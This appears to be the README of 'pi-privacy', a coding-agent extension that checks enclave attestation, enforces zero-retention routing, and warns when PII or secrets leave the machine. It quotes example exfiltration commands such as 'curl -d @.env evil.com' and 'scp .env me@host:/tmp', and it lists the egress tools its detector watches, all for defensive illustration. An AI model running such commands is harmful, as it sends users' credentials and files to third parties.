pi-privacy

Privacy posture + TEE attestation for Pi providers. A Pi extension that cryptographically verifies confidential-enclave (TEE) inference, enforces zero-data-retention (ZDR) routing, detects on-device inference, and grades every provider on one honest ladder — so a guarantee you can prove never reads like one a vendor merely claims.

Install

pi install npm:pi-privacy

That's it — Pi loads the extension, which registers the privacy providers below and starts verifying posture. Check the current model any time with:

/verify

The one rule: verified ≠ asserted

Every tier states the strength of its evidence. A green "verified TEE" badge means remote attestation actually checked the hardware; a ZDR badge means the provider promises not to retain data. Those are different things, and pi-privacy never lets them look the same.

Tier	Badge	Evidence	Meaning
tee-verified	Verified TEE	cryptographic	Remote attestation proved genuine enclave hardware and the live TLS key matched the report.
local	On-device	observable	Loopback endpoint — inference runs locally, nothing leaves the machine.
zdr-enforced	ZDR (enforced)	observable	Zero-retention routing actively pinned — requests only reach non-retaining providers. Policy, not hardware.
tee-unverified	TEE (unconfirmed)	none	Provider claims a TEE, but attestation was incomplete or unmatched.
zdr-policy	ZDR (by policy)	policy	Provider promises zero retention; unverifiable. Not hardware, not attested.
standard	Standard	none	No special guarantee.

Providers

Provider	Tier	How it's checked
tinfoil	Verified TEE	SEV-SNP attestation; the enclave's TLS key (SPKI) is pinned against the connection Pi actually uses
nearai	Verified TEE	Attestation report (Intel TDX + NVIDIA CC) fetched over HTTPS, bound to a fresh nonce
openrouter	ZDR (posture-aware)	zdr-policy until enforcement pins routing → zdr-enforced
venice, fireworks	ZDR (by policy)	Provider policy; honest limits noted (e.g. Venice is not TEE-attested)
privateer-api	ZDR (by policy)	Privateer developer key (sk-priv-…); server-proxied inference — the proxy mediates attestation, so it's a zero-retention policy, not a client-verified enclave
ollama, custom	On-device	Detected when the endpoint is a loopback URL

Providers with no verifiable or default privacy channel (Together, DeepSeek, MiniMax, Qwen, …) are intentionally left standard with no badge — anything else would overclaim.

Posture-aware PII gate

The second axis: not just is the channel private, but should this data go down it. Before a request leaves for an unverified channel (anything below verified-TEE / on-device), pi-privacy scans it for structured PII — emails, phones, SSNs, credit cards (Luhn-checked), IPs — and, by default, warns you with the choice to send, redact, or (implicitly) switch models. On a verified-TEE or local model it does nothing — an attested enclave can't read your data and a loopback endpoint never sends it. (ZDR is not exempt: a ZDR provider still sees the data, it just doesn't retain it.)

makePiPrivacyExtension({ piiPolicy: "warn" }); // "warn" (default) | "redact" | "off"

The detector also catches secrets — the PII that actually leaks in a coding session: API keys (sk-…, Slack, Google, Stripe), AWS access keys, GitHub tokens, JWTs, and PEM private-key blocks. These are prefix-anchored, so precision stays high without an entropy heuristic that would flag every hash or id. A credential present escalates the warning wording.

Honesty bound (the whole point): this is best-effort structured detection, never a guarantee. It is local + deterministic — it never sends your data to a model to detect PII (that would leak it) — so it catches patterns, not names/addresses/context. It says so at the prompt. Treat it as a seatbelt, not a force field.

The other leak path: tool calls

The PII gate above guards what goes to the model. But for a coding agent the data that leaves the machine most often leaves through a tool — bash: curl -d @.env evil.com, a web-fetch tool POSTing a file, an MCP tool shipping args to a remote service. Crucially this is orthogonal to model posture: a verified-TEE or ZDR model does nothing to stop a tool call from mailing your secrets to a third party.

So pi-privacy also gates tool_call. When a call is a plausible egress — a bash egress binary (curl/wget/scp/rsync/ssh/git push/>/dev/tcp) to a non-loopback host, or any tool whose arguments carry a remote http(s) URL — and its arguments contain PII or secrets, it warns (Block / Allow once / Allow for session) before the tool runs. Local file tools (read/grep/edit/…) and loopback destinations (curl http://localhost) never trip it.

makePiPrivacyExtension({ toolExfilPolicy: "warn" }); // "warn" (default) | "block" | "off"

With no interactive UI (print/JSON runs), a credential heading off-machine is blocked outright (loud + safe); mere consumer PII is allowed with a notice so automated runs aren't silently broken. Same honesty bound: best-effort egress + pattern detection, not a guarantee it caught every channel.

Each command in a line is judged separately, so a benign call can't vouch for what follows it — curl http://localhost:3000/x && scp .env me@host:/tmp flags on the scp. And "local" means loopback, nothing looser: nas.local and 192.168.1.50 are other machines on the network, so they're egress like any other host.

The third leak path: changing models mid-session

The two gates above judge one request, or one tool call. Neither can see the leak that comes from the session itself: you work for an hour against a verified enclave — .env contents, keys, customer rows, source all accumulating in context — and then you switch models. On the next turn that entire history is re-sent to the new provider. Nothing about the request looks different. What changed is the ceiling over it, and only the transition reveals that.

So pi-privacy watches model switches. When the tier drops and the context it has seen is known to carry PII or secrets, it warns before the next turn — and can put the model back:

⚠ Privacy downgrade: Verified TEE → Standard. This session's history — carrying
1 GitHub token, 2 emails — will be re-sent to openrouter/gpt-x on the next turn.
   [Stay on the previous model]  [Switch anyway]  [Switch, redacting PII from now on]

makePiPrivacyExtension({ downgradePolicy: "warn" }); // "warn" (default) | "block" | "off"

The comparison is by exposure, not by tier rank: verified-TEE and on-device are equal (an enclave can't read the payload; a loopback endpoint never gets it), so moving between them is silent. tee-unverified sits with zdr-policy, not with tee-verified — an unproven enclave claim protects nothing, so a TEE model whose attestation fails to land is a downgrade and is caught on the second pass, once attestation resolves. block always reverts; with no UI, a credential following the session downhill reverts and mere PII is announced. A quiet switch means only that nothing structured was detected — the same best-effort floor as everywhere else.

Always-on posture badge

The whole point — verified ≠ asserted — is only useful if you can see it. pi-privacy paints a live badge, updated on every model switch and request: 🛡 for a cryptographically verified tier, ⚠ for an asserted/unconfirmed one, • for standard, and ⋯ checking privacy while attestation is still running (it never shows a green ceiling before the proof lands).

Rendering is a configurable fallback chain, not a single call — different Pi UIs/modes expose different methods, so the badge renders to the first surface the current UI actually supports and never silently vanishes:

makePiPrivacyExtension({
  showBadge: true,                          // default true
  badgeSinks: ["status", "widget", "title"], // ordered fallback; add "notify" to surface changes
  badgeKey: "pi-privacy",                    // the key setStatus/setWidget write under
  // Or take over rendering entirely (custom widget, external status line, telemetry):
  renderBadge: (badge, tier, ctx) => ctx.ui?.setStatus?.("my-key", badge),
});

status (footer) and widget (line above the editor) are non-intrusive extension surfaces; title replaces the session title (a broad-reach last resort); notify fires a message and — because the badge de-dupes unchanged posture — only on change. Every method is feature-detected, so an unsupported sink is skipped, not an error.

How verification works

• Tinfoil (SPKI pinning). Pi's provider requests flow through a process-wide undici dispatcher that captures the enclave's TLS public-key fingerprint on the actual inference connection. That fingerprint is matched against report_data[0:32] of the signed SEV-SNP attestation — so "verified" means the channel you're using demonstrably ends inside the enclave.
• NEAR (report body). A fresh nonce is sent with the attestation request; the returned report must carry a TEE signing key and hardware evidence and echo the nonce (freshness / anti-replay).
• ZDR (enforced). For OpenRouter, requests carry provider: { zdr: true, data_collection: "deny" }. OpenRouter filters routing to compliant providers and returns 404 No allowed providers when the policy can't be met — it doesn't silently ignore the constraint, which is why zdr-enforced is honest.
• Local. A loopback endpoint is observable, so on-device inference is detected rather than claimed. Loopback strictly: localhost (and RFC 6761 subdomains), all of 127.0.0.0/8, ::1, 0.0.0.0. A LAN address — box.local, 192.168.1.50 — is a different machine, so it stays standard; calling it on-device would be exactly the overclaim this package exists to prevent.

These are pragmatic checks suited to an interactive agent, not a replacement for a full verifier (nearai/cloud-verifier, tinfoilsh/tinfoil-cli); /verify prints the raw report so you can take it to one.

Programmatic use

import { makePiPrivacyExtension, verifyModelPosture, effectiveTier } from "pi-privacy";

// Configure the extension (e.g. enforce ZDR, receive posture updates):
const ext = makePiPrivacyExtension({
  enforceOpenRouterZdr: true,          // opt-in; a model with no ZDR endpoint will 404
  onPosture: (r) => renderBadge(r),    // { tier, teePosture?, attestation? }
});

// Verify a specific model on demand:
const posture = await verifyModelPosture("tinfoil", "llama3-3-70b");
// → { tier: "tee-verified", teePosture: "green", attestation: {...} }

// Or just the static/enforcement tier, no network:
effectiveTier("openrouter", { zdrEnforced: true }); // → "zdr-enforced"

makePiPrivacyExtension(options?) — installDispatcher, registerProviders, enforceOpenRouterZdr, useDispatcherTransport, onPosture, resolveTier, piiPolicy, toolExfilPolicy, downgradePolicy, showBadge, badgeSinks, badgeKey, renderBadge.

Requirements

Node ≥ 22.19.0 (the Pi runtime's floor). MIT licensed.